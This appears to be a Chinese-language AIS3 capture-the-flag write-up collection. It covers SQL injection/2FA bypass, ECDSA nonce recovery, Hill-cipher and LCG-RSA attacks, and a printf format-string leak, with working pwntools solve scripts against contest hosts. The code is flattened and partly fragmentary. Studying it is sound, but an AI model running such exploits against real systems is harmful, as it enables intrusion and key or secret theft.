Category: Web Tags: SQL Injection, 2FA Bypass, Cookie Abuse
題目描述
註:我打出這題的時候還沒附原始碼，黑箱就成功打出來了，所以我就不附原始碼了:D
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<!DOCTYPE html> <htmllang="en"> <head> <title>Dashboard</title> <scriptsrc="https://cdnjs.cloudflare.com/ajax/libs/dompurify/3.0.6/purify.min.js"></script> <linkrel="stylesheet"href="styles.css"> <metaname="viewport"content="width=device-width, initial-scale=1"> </head> <body> <mainclass="container"> <h2>Welcome, admin!</h2> <h3>Your Previous Posts</h3> <divclass='box'><strong>2025-05-05</strong><divid='post1'class='post'>Just watched this excellent technical breakdown: https://youtu.be/jWvuUeUyyKU - it's a must-see if you're into cybersecurity, reverse engineering, or low-level internals. The explanations are clear, insightful, and packed with practical takeaways. Highly recommended for anyone looking to deepen their understanding or just enjoy quality analysis.</div></div>; <divclass='box'><strong>2025-05-06</strong><divid='post2'class='post'>AIS3{1.Es55y_SQL_1nJ3ct10n_w1th_2fa_IuABDADGeP0}</div></div>; </article> <ahref="logout.php"><buttonclass="big_button">Logout</button></a> </main> </body> </html>
export function flagchecker(a:int):int { var b:int = g_a; var c:int = 96; var d:int = b - c; g_a = d; d[22]:int = a; var e:int = -39934163; d[21]:int = e; var f:int = 64; var g:long_ptr = d + f; var h:long = 0L; g[0] = h; var i:int = 56; var j:long_ptr = d + i; j[0] = h; var k:int = 48; var l:long_ptr = d + k; l[0] = h; d[5]:long = h; d[4]:long = h; var m:long = 7577352992956835434L; d[4]:long = m; var n:long = 7148661717033493303L; d[5]:long = n; var o:long = -7081446828746089091L; d[6]:long = o; var p:long = -7479441386887439825L; d[7]:long = p; var q:long = 8046961146294847270L; d[8]:long = q; var r:int = d[22]:int; var s:int = 0; var t:int = r != s; var u:int = 1; var v:int = t & u; if (eqz(v)) goto B_c; var w:int = d[22]:int; var x:int = f_n(w); var y:int = 40; var z:int = x != y; var aa:int = 1; var ba:int = z & aa; if (eqz(ba)) goto B_b; label B_c: var ca:int = 0; d[23]:int = ca; goto B_a; label B_b: var da:int = d[22]:int; d[7]:int = da; var ea:int = 0; d[6]:int = ea; loop L_e { var fa:int = d[6]:int; var ga:int = 5; var ha:int = fa < ga; var ia:int = 1; var ja:int = ha & ia; if (eqz(ja)) goto B_d; var ka:int = d[7]:int; var la:int = d[6]:int; var ma:int = 3; var na:int = la << ma; var oa:long_ptr = ka + na; var pa:long = oa[0]; d[2]:long = pa; var qa:int = d[6]:int; var ra:int = 6; var sa:int = qa * ra; var ta:int = -39934163; var ua:int = ta >> sa; var va:int = 63; var wa:int = ua & va; d[3]:int = wa; var xa:long = d[2]:long; var ya:int = d[3]:int; var za:long = f_i(xa, ya); var ab:int = d[6]:int; var bb:int = 32; var cb:int = d + bb; var db:int = cb; var eb:int = 3; var fb:int = ab << eb; var gb:long_ptr = db + fb; var hb:long = gb[0]; var ib:int = za != hb; var jb:int = 1; var kb:int = ib & jb; if (eqz(kb)) goto B_f; var lb:int = 0; d[23]:int = lb; goto B_a; label B_f: var mb:int = d[6]:int; var nb:int = 1; var ob:int = mb + nb; d[6]:int = ob; continue L_e; } label B_d: var pb:int = 1; d[23]:int = pb; label B_a: var qb:int = d[23]:int; var rb:int = 96; var sb:int = d + rb; g_a = sb; return qb; }
import hashlib, os from ecdsa import SigningKey, VerifyingKey, NIST192p from ecdsa.util import number_to_string, string_to_number from Crypto.Util.number import getRandomRange from flag import flag
FLAG = flag
classLCG: def__init__(self, seed, a, c, m): self.state = seed self.a = a self.c = c self.m = m
defsign(msg: bytes): h = int.from_bytes(hashlib.sha1(msg).digest(), 'big') % order k = lcg.next() R = k * curve.generator r = R.x() % order s = (pow(k, -1, order) * (h + r * sk.privkey.secret_multiplier)) % order return r, s
defverify(msg: str, r: int, s: int): h = int.from_bytes(hashlib.sha1(msg.encode()).digest(), 'big') % order try: sig = number_to_string(r, order) + number_to_string(s, order) return vk.verify_digest(sig, hashlib.sha1(msg.encode()).digest()) except: returnFalse
elif opt == "verify": msg = input("Enter message: ").strip() r = int(input("Enter r (hex): ").strip(), 16) s = int(input("Enter s (hex): ").strip(), 16)
if verify(msg, r, s): if msg == "give_me_flag": print("✅ Correct signature! Here's your flag:") print(FLAG.decode()) else: print("✔️ Signature valid, but not the target message.") else: print("❌ Invalid signature.")
else: print("Unknown option. Try again.")
解題思路
伺服器使用如下方式簽名訊息：
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classLCG: def__init__(self, seed, a, c, m): self.state = seed self.a = a self.c = c self.m = m
import hashlib from pwn import remote, context from ecdsa import NIST192p # from ecdsa.util import number_to_string # Not strictly needed for calculations from Crypto.Util.number import inverse, getRandomRange # Added getRandomRange for completeness
# Challenge parameters HOST = "chals1.ais3.org" PORT = 19000
# Set pwntools context for cleaner output if desired (optional) # context.log_level = 'debug'
defget_hash_int(msg_bytes: bytes) -> int: """Calculates the integer hash h used in the challenge's sign function.""" # The challenge's sign function does: int.from_bytes(hashlib.sha1(msg).digest(), 'big') % order # Since SHA1 output (160 bits) is smaller than NIST192p order (192 bits), # the % order is usually redundant but harmless. returnint.from_bytes(hashlib.sha1(msg_bytes).digest(), 'big')
defmain(): io = remote(HOST, PORT)
# Get first signature for example_msg io.sendlineafter(b"Enter option: ", b"get_example") io.recvuntil(b"msg: example_msg\n") # Wait for the message line io.recvuntil(b"r: ") # Wait for "r: " r1_hex = io.recvline().decode().strip() # Read the hex value of r1 io.recvuntil(b"s: ") # Wait for "s: " s1_hex = io.recvline().decode().strip() # Read the hex value of s1 r1 = int(r1_hex, 16) s1 = int(s1_hex, 16) print(f"[*] Got first signature: r1 = {hex(r1)}, s1 = {hex(s1)}")
# Get second signature for example_msg io.sendlineafter(b"Enter option: ", b"get_example") io.recvuntil(b"msg: example_msg\n") # Wait for the message line io.recvuntil(b"r: ") # Wait for "r: " r2_hex = io.recvline().decode().strip() # Read the hex value of r2 io.recvuntil(b"s: ") # Wait for "s: " s2_hex = io.recvline().decode().strip() # Read the hex value of s2 r2 = int(r2_hex, 16) s2 = int(s2_hex, 16) print(f"[*] Got second signature: r2 = {hex(r2)}, s2 = {hex(s2)}")
# Calculate private key d (sk_priv) # d = (s1 * k1 - h_example) * inv_r1 (mod ORDER) sk_priv_num = (s1 * k1 % ORDER - h_example + ORDER) % ORDER sk_priv = (sk_priv_num * inv_r1) % ORDER print(f"[*] Recovered private key d = {hex(sk_priv)}")
# Sign the target message "give_me_flag" h_flag = get_hash_int(TARGET_MSG_BYTES)
k_flag = 42
ifnot (0 < k_flag < ORDER): # This check is mostly for robustness if k_flag was dynamic print(f"[!] Chosen k_flag ({k_flag}) is invalid or too simple.") # Fallback using getRandomRange if needed, ensure it's imported k_flag = getRandomRange(1, ORDER - 1) print(f"[!] Using random k_flag = {hex(k_flag)}")
R_flag_point = k_flag * GENERATOR r_flag = R_flag_point.x() % ORDER
if r_flag == 0: print("[!] r_flag is 0. This is rare. Try a different k_flag or re-run.") io.close() return
try: inv_k_flag = inverse(k_flag, ORDER) except ValueError: print(f"[!] k_flag ({hex(k_flag)}) is not invertible modulo ORDER. Try re-running / different k_flag.") io.close() return
s_flag_intermediate = (h_flag + r_flag * sk_priv % ORDER) % ORDER s_flag = (inv_k_flag * s_flag_intermediate) % ORDER
if s_flag == 0: print("[!] s_flag is 0. This is rare. Try a different k_flag or re-run.") io.close() return
# Send the signature for verification io.sendlineafter(b"Enter option: ", b"verify") io.sendlineafter(b"Enter message: ", TARGET_MSG_STR.encode()) # Server expects string, then encodes io.sendlineafter(b"Enter r (hex): ", hex(r_flag).encode()) io.sendlineafter(b"Enter s (hex): ", hex(s_flag).encode())
# Get the flag result = io.recvall(timeout=5).decode() # Increased timeout slightly if needed print("\n[*] Server response:") print(result)
if"AIS3"in result: print("\n[+] Flag potentially found!") else: print("\n[-] Flag not found in response. Exploit might have failed.")
io.close()
if __name__ == "__main__": main()
FLAG
1
AIS3{Aff1n3_nounc3s_c@N_bE_broke_ezily...}
Stream
Category：Crypto
題目敘述
I love streaming randomly online!
Author : Whale120
題目內容
chal.py 原始碼
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from random import getrandbits import os from hashlib import sha512 from flag import flag
# 从 output_content 中提取所有十六进制字符串，并转换成整数 lines = [line.strip() for line in output_content.strip().split('\n') if line.strip()] ifnot lines: print("Error: output.txt content is empty or malformed.") exit()
defencrypt_blocks(blocks): C = [] for i inrange(len(blocks)): if i == 0: c = (A @ blocks[i]) % p else: c = (A @ blocks[i] + B @ blocks[i-1]) % p C.append(c) return C
flag = "AIS3{Fake_FLAG}" blocks = str_to_blocks(flag) ciphertext = encrypt_blocks(blocks)
print("Encrypted flag:") for c in ciphertext: print(c)
t = input("input: ") blocks = str_to_blocks(t) ciphertext = encrypt_blocks(blocks) for c in ciphertext: print(c)
解題思路
伺服器實作了一種基於 Hill Cipher 的加密系統，使用兩個隨機可逆矩陣 A 與 B。加密過程如下：
import numpy as np from pwn import remote import sympy # For modular matrix inverse
# Challenge parameters p = 251 n = 8
defparse_ciphertext_line(line_bytes): line_str = line_bytes.decode().strip() # Expect format like "[ 10 20 30 ... ]" or "[10 20 30 ...]" if line_str.startswith('[') and line_str.endswith(']'): line_str = line_str[1:-1] parts = line_str.split() return np.array([int(x) for x in parts], dtype=int)
defsolve(): # Connect to the server # Replace with actual host and port # conn = remote("chals1.ais3.org", 18000) # For local testing using chall.py: # from pwn import process # conn = process(['python3', 'chall.py'])
# --- Simulating server for local testing --- # Remove this block when running against the actual server classSimulatedServer: def__init__(self): self.A_true = self._gen_matrix_true(n, p) self.B_true = self._gen_matrix_true(n, p) flag_str = "AIS3{Test_Flag_Content_12345}" flag_blocks = self._str_to_blocks_true(flag_str) self.flag_ciphertext = self._encrypt_blocks_true(flag_blocks, self.A_true, self.B_true)
def_gen_matrix_true(self, n_val, p_val): whileTrue: M = np.random.randint(0, p_val, size=(n_val, n_val)) if np.linalg.matrix_rank(M % p_val) == n_val: return M % p_val
def_encrypt_blocks_true(self, blocks, A_m, B_m): C_list = [] for i inrange(len(blocks)): if i == 0: c = (A_m @ blocks[i]) % p else: c = (A_m @ blocks[i] + B_m @ blocks[i-1]) % p C_list.append(c) return C_list
defsend_payload_and_get_response(self, payload_bytes_val): user_blocks = self._str_to_blocks_true(payload_bytes_val.decode('latin-1')) # Use latin-1 for bytes 0-255 user_ciphertext = self._encrypt_blocks_true(user_blocks, self.A_true, self.B_true) lines = [] for c_block in user_ciphertext: lines.append(str(c_block).encode()) returnb"\n".join(lines)
# Comment out SimulatedServer and uncomment actual connection for CTF # ---- Start of code using SimulatedServer ---- # sim_server = SimulatedServer() # print("Simulated Server A:\n", sim_server.A_true) # print("Simulated Server B:\n", sim_server.B_true) # initial_output = sim_server.get_flag_ciphertext() # print(initial_output.decode()) # ---- End of code using SimulatedServer ----
# ---- Start of actual connection code ---- conn = remote("chals1.ais3.org", 18000) initial_output = conn.recvuntil(b"input: ") # ---- End of actual connection code ----
# 1. Receive and parse encrypted flag flag_ciphertext_blocks = [] initial_lines = initial_output.split(b'\n') # Find where the flag ciphertext starts start_idx = 0 for i, line_b inenumerate(initial_lines): ifb"Encrypted flag:"in line_b: start_idx = i + 1 break
for line_b in initial_lines[start_idx:]: line_s = line_b.decode().strip() ifnot line_s or"input:"in line_s : # Stop if empty line or prompt break if line_s.startswith('[') and line_s.endswith(']'): flag_ciphertext_blocks.append(parse_ciphertext_line(line_b))
print(f"Received {len(flag_ciphertext_blocks)} encrypted flag blocks.")
# 2. Craft special plaintext # P = [e_0, 0, e_1, 0, ..., e_{n-1}, 0] # (Using e_i for (i+1)-th basis vector to align with 0-indexed loop) payload_list = [] identity_vectors = np.eye(n, dtype=int) zero_vector_bytes = bytes([0] * n)
for i inrange(n): # e_i (current basis vector) payload_list.extend(identity_vectors[i].tolist()) # zero vector payload_list.extend([0] * n)
# Convert list of ints to bytes # Ensure characters are in latin-1 range if values > 127 payload_bytes = b"" for val in payload_list: payload_bytes += bytes([val])
print(f"Crafted payload of length {len(payload_bytes)} bytes.")
# 3. Send plaintext and receive ciphertext for A and B columns # ---- Start of code using SimulatedServer ---- # user_ciphertext_output = sim_server.send_payload_and_get_response(payload_bytes) # print(user_ciphertext_output.decode()) # ---- End of code using SimulatedServer ----
# ---- Start of actual connection code ---- conn.sendline(payload_bytes) user_ciphertext_output = conn.recvall(timeout=5) # Adjust timeout as needed # ---- End of actual connection code ----
user_c_blocks_raw = user_ciphertext_output.strip().split(b'\n') user_c_blocks = [parse_ciphertext_line(line) for line in user_c_blocks_raw if line.strip()]
print(f"Received {len(user_c_blocks)} ciphertext blocks for our payload.")
# 4. Reconstruct matrices A and B A_cols = [] B_cols = [] for i inrange(n): A_cols.append(user_c_blocks[2 * i]) B_cols.append(user_c_blocks[2 * i + 1])
A = np.column_stack(A_cols) B = np.column_stack(B_cols)
print("Reconstructed matrix A:\n", A) print("Reconstructed matrix B:\n", B)
# 5. Compute modular inverse of A A_sympy = sympy.Matrix(A.tolist()) A_inv_sympy = A_sympy.inv_mod(p) A_inv = np.array(A_inv_sympy).astype(int)
print("Computed A_inv (mod p):\n", A_inv)
# 6. Decrypt the flag decrypted_flag_blocks_list = []
# Decrypt first block: P_0 = A_inv * C_0 P0_flag_vec = (A_inv @ flag_ciphertext_blocks[0]) % p P0_flag_vec = (P0_flag_vec + p) % p # Ensure positive decrypted_flag_blocks_list.append(P0_flag_vec)
# Decrypt subsequent blocks: P_i = A_inv * (C_i - B * P_{i-1}) for i inrange(1, len(flag_ciphertext_blocks)): prev_P_flag_vec = decrypted_flag_blocks_list[i-1] term_BP = (B @ prev_P_flag_vec) % p
C_i_vec = flag_ciphertext_blocks[i] term_C_minus_BP = (C_i_vec - term_BP + p) % p # Ensure positive before A_inv mult
Pi_flag_vec = (A_inv @ term_C_minus_BP) % p Pi_flag_vec = (Pi_flag_vec + p) % p # Ensure positive decrypted_flag_blocks_list.append(Pi_flag_vec)
# 7. Reconstruct the flag string flag_bytes_list = [] for block_vec in decrypted_flag_blocks_list: flag_bytes_list.extend(block_vec.tolist())
# Remove padding (null bytes at the end) whilelen(flag_bytes_list) > 0and flag_bytes_list[-1] == 0: flag_bytes_list.pop()
flag = bytes(flag_bytes_list).decode('utf-8', errors='ignore')
print("\nDecrypted flag:") print(flag)
# ---- Start of actual connection code ---- conn.close() # ---- End of actual connection code ----
import gmpy2 from Crypto.Util.number import long_to_bytes, bytes_to_long from sympy.ntheory.residue_ntheory import sqrt_mod # For quadratic congruence
# Data from output.txt h0 = 2907912348071002191916245879840138889735709943414364520299382570212475664973498303148546601830195365671249713744375530648664437471280487562574592742821690 h1 = 5219570204284812488215277869168835724665994479829252933074016962454040118179380992102083718110805995679305993644383407142033253210536471262305016949439530 h2 = 3292606373174558349287781108411342893927327001084431632082705949610494115057392108919491335943021485430670111202762563173412601653218383334610469707428133 M = 9231171733756340601102386102178805385032208002575584733589531876659696378543482750405667840001558314787877405189256038508646253285323713104862940427630413 n = 20599328129696557262047878791381948558434171582567106509135896622660091263897671968886564055848784308773908202882811211530677559955287850926392376242847620181251966209002883852930899738618123390979377039185898110068266682754465191146100237798667746852667232289994907159051427785452874737675171674258299307283 e = 65537 c = 13859390954352613778444691258524799427895807939215664222534371322785849647150841939259007179911957028718342213945366615973766496138577038137962897225994312647648726884239479937355956566905812379283663291111623700888920153030620598532015934309793660829874240157367798084893920288420608811714295381459127830201
# Step 1: Recover LCG parameters a, b diff_h1_h0 = (h1 - h0 + M) % M if diff_h1_h0 == 0: print("Error: h1 - h0 is 0 mod M") exit()
inv_diff_h1_h0 = gmpy2.invert(diff_h1_h0, M) lcg_a = ((h2 - h1 + M) % M * inv_diff_h1_h0) % M lcg_b = (h1 - (lcg_a * h0) % M + M) % M
# Step 2: Iterate k_q (number of LCG steps from p to q) MAX_KQ = 5000# Upper bound for genPrime(p) iterations
for k_q inrange(1, MAX_KQ + 1): if k_q % 100 == 0: print(f"Trying k_q = {k_q}")
# Calculate A_kq = a^k_q mod M # Calculate B_kq = b * (a^(k_q-1) + ... + a + 1) mod M
A_kq = gmpy2.powmod(lcg_a, k_q, M)
if lcg_a == 1: sum_geometric_terms = k_q % M else: term_a_k_q_minus_1 = (gmpy2.powmod(lcg_a, k_q, M) - 1 + M) % M inv_a_minus_1 = gmpy2.invert((lcg_a - 1 + M) % M, M) sum_geometric_terms = (term_a_k_q_minus_1 * inv_a_minus_1) % M
B_kq = (lcg_b * sum_geometric_terms) % M
# Solve A_s * p^2 + B_s * p + C_s = 0 (mod M) # A_s = A_kq # B_s = B_kq # C_s = -n mod M A_s = A_kq B_s = B_kq C_s = (-n % M + M) % M
p_roots = [] if A_s == 0: if B_s != 0: inv_B_s = gmpy2.invert(B_s, M) p_sol = (-C_s * inv_B_s % M + M) % M p_roots.append(p_sol) else: delta_cong = (B_s * B_s - 4 * A_s * C_s % M + M) % M sqrt_D_sympy_list = sqrt_mod(delta_cong, M, all_roots=True)
if sqrt_D_sympy_list: inv_2A_s = gmpy2.invert((2 * A_s) % M, M) for sqrt_D_val in sqrt_D_sympy_list: p_sol = ((-B_s + sqrt_D_val + M) % M * inv_2A_s) % M p_roots.append(p_sol)
unique_p_roots = sorted(list(set(p_roots)))
for p_cand_mod_M in unique_p_roots: p_cand = p_cand_mod_M
if p_cand == 0or p_cand >= n : continue if n % p_cand != 0: continue
q_cand = n // p_cand
ifnot (gmpy2.is_prime(p_cand) and gmpy2.is_prime(q_cand)): continue
if p_cand == q_cand: continue
# Verification: q_cand must be the k_q-th LCG output from p_cand # and intermediate LCG outputs must not be prime current_val_in_seq = p_cand path_is_valid = True # The loop for k_q assumes q is the k_q-th number *generated by rng applied to p and subsequent values*. # So, if k_q = 1, q = rng(p). There are 0 intermediate values. Loop range(0) is empty. # If k_q = 2, q = rng(rng(p)). Intermediate is rng(p). Loop range(1) checks rng(p). for _ inrange(k_q - 1): current_val_in_seq = (lcg_a * current_val_in_seq + lcg_b) % M if gmpy2.is_prime(current_val_in_seq): path_is_valid = False break
ifnot path_is_valid: continue
# The final LCG output that should be q final_generated_q = (lcg_a * current_val_in_seq + lcg_b) % M
if final_generated_q == q_cand: print(f"\n!!! Found potential p and q at k_q = {k_q} !!!") print(f"p = {p_cand}") print(f"q = {q_cand}")
phi = (p_cand - 1) * (q_cand - 1)
if gmpy2.gcd(e, phi) != 1: print("Error: e is not coprime with phi.") continue
try: flag = long_to_bytes(m_rsa) print(f"Byte flag: {flag}") if flag.startswith(b"AIS3{") and flag.endswith(b"}"): print(f"Successfully decrypted flag: {flag.decode()}") exit() else: # Try to decode as UTF-8, ignore errors if any print(f"Decrypted message: {flag.decode(errors='ignore')}") print("Format does not look like a flag. Continuing search or check logic.") except Exception as error_decode: print(f"Error decoding message: {m_rsa} -> {error_decode}")
print(f"\nCannot find p and q within MAX_KQ = {MAX_KQ} iterations.")
ls / bin boot dev etc flag home lib lib64 media mnt opt proc root run run.sh sbin srv sys tmp usr var cat flag AIS3{Ave Mujica🎭將奇蹟帶入日常中🛐(Fortuna💵💵💵)...Ave Mujica🎭為你獻上慈悲憐憫✝️(Lacrima😭🥲💦)..._5b7a94411964ba639d7548f048c22877}
# --- IMPORTANT NOTE FOR WINDOWS USERS --- # For the best experience, it is highly recommended to use pwntools # within Windows Subsystem for Linux (WSL). # ---
context.arch = 'amd64' # context.log_level = 'debug' # Uncomment for very verbose output
HOST = "chals1.ais3.org" PORT = 50960
# This character will be the literal char printed after "Format number : %" # It must be a punctuation or digit. Underscore is good. LEAK_PAYLOAD_PREFIX_CHAR = b'_'
defconnect_to_server(): return remote(HOST, PORT)
defleak_char_value_at_printf_index(printf_idx): p = None # Our input: e.g., "_%20$" # Server effectively processes: format string "Format number : %%_ %20$d \n" # where the %20$d part prints the 20th printf argument. payload_str = LEAK_PAYLOAD_PREFIX_CHAR.decode() + f"%{printf_idx}$"
try: p = connect_to_server() prompt = p.recvuntil(b"What format do you want ? ", timeout=3.0) ifnot prompt.endswith(b"What format do you want ? "): log.warning("Index=%s, Payload='%s': Did not receive full prompt. Received: %r", printf_idx, payload_str, prompt) if p: p.close() returnNone, "Prompt not received"
payload_bytes = payload_str.encode()
iflen(payload_bytes) > 15: # Max read size for format string part log.error("Payload '%s' is too long (%s bytes). Max 15.", payload_str, len(payload_bytes)) if p: p.close() returnNone, "Payload too long"
if p: p.close() response_str = response_data.decode(errors='ignore')
# Regex to parse: "Format number : %<PREFIX_CHAR><leaked_num_val>\n" # Example: "Format number : %_65\n" regex_pattern_str = r"Format number : %" + re.escape(LEAK_PAYLOAD_PREFIX_CHAR.decode()) + r"(-?\d+)\n" match = re.search(regex_pattern_str, response_str)
ifmatch: leaked_int_str = match.group(1) returnint(leaked_int_str), response_str else: log.debug("Index=%s, Payload='%s', No regex match in response: %r", printf_idx, payload_str, response_str) returnNone, response_str
except PwnlibException as e: log.warning("Index=%s, Payload='%s': Outer PwnlibException: %s", printf_idx, payload_str, e) if p: p.close() returnNone, f"PwnlibException: {e}" except Exception as e: log.error("Index=%s, Payload='%s': An unexpected error: %s", printf_idx, payload_str, e) if p: p.close() returnNone, f"Unexpected error: {e}"
# --- Main Exploit Logic ---
# Based on analysis, printf argument index 20 corresponds to flag[0] STARTING_PRINTF_INDEX_FOR_FLAG = 20
log.info(f"Targeting: {HOST}:{PORT}") log.info(f"Using payload prefix char: '{LEAK_PAYLOAD_PREFIX_CHAR.decode()}'") log.info(f"Starting flag leak from printf argument index: {STARTING_PRINTF_INDEX_FOR_FLAG}")
leaked_flag_bytes = b"" # Max flag length 0x100 (256 bytes) for i inrange(256): current_printf_idx = STARTING_PRINTF_INDEX_FOR_FLAG + i
log.info("Leaking char for flag[%s] using printf index %s...", i, current_printf_idx) char_val, resp_full = leak_char_value_at_printf_index(current_printf_idx)
if char_val isNone: log.warning("Failed to leak at printf index %s (for flag[%s]). Stopping. Response snippet: %r", current_printf_idx, i, resp_full[:200] if resp_full else"None") break
ifnot (0 <= char_val <= 255): log.warning("Leaked value %s at printf index %s (for flag[%s]) is not a valid byte. Stopping.", char_val, current_printf_idx, i) # You might want to append a placeholder or just stop # For now, let's stop cleanly. break
